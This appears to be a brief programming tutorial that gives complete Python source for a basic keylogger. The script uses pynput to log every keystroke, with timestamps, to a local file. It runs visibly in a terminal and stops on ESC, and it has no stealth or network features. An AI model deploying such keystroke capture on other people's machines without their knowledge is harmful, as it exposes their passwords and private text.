Basic Keylogger (Input Monitoring)
This utility demonstrates how to monitor and record keyboard input using the pynput library. It logs every keystroke with a timestamp to a local file.
Modules Used:
pynput: To monitor keyboard input events.- logging: To save the keystrokes to a file with timestamps.
Installation
You need to install the pynput library:
pip install pynputThe Code
Save this as keylogger.py.
from pynput import keyboard
import logging
# Configure logging to save to 'keylog.txt'
logging.basicConfig(
filename="keylog.txt",
level=logging.DEBUG,
format='%(asctime)s: %(message)s'
)
def on_press(key):
try:
# Log alphanumeric keys
logging.info(f"Key pressed: {key.char}")
except AttributeError:
# Log special keys (e.g., space, enter, ctrl) which don't have a .char attribute
logging.info(f"Special key pressed: {key}")
def on_release(key):
# Stop listener with ESC
if key == keyboard.Key.esc:
print("\nStopping listener...")
return False
if __name__ == "__main__":
print("Keylogger started. Press ESC to stop.")
# Collect events until released
with keyboard.Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()Usage
python keylogger.pyThe script will run in the background (of the terminal) until you press ESC. Check keylog.txt to see the recorded inputs.